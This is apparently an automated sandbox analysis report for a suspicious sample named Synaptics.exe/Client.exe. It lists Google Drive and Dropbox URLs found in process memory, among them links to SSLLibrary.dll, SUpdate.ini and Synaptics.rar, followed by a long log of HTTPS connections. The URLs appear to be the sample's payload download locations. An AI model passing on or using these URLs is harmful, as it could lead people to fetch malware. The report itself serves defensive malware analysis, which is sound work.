Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleniyor...
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtn
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtp
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtrolCKq
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadts
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadty
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu9y
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu=
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduG
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadub
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadul
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadut
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvI
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvices
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw=
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwH#
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadws
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx;t
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxA
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxC;
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxL
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxp
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxux
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady.
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady3
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady:U
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyU
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoBh
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyonk
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor...
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.i
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoy
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyqy
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz$
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzC
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~/
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~vv
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, ~DF3EB48EB1553B6490.TMP.4.dr, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082022167.000000000F098000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8A
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, ~DF3EB48EB1553B6490.TMP.4.dr, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
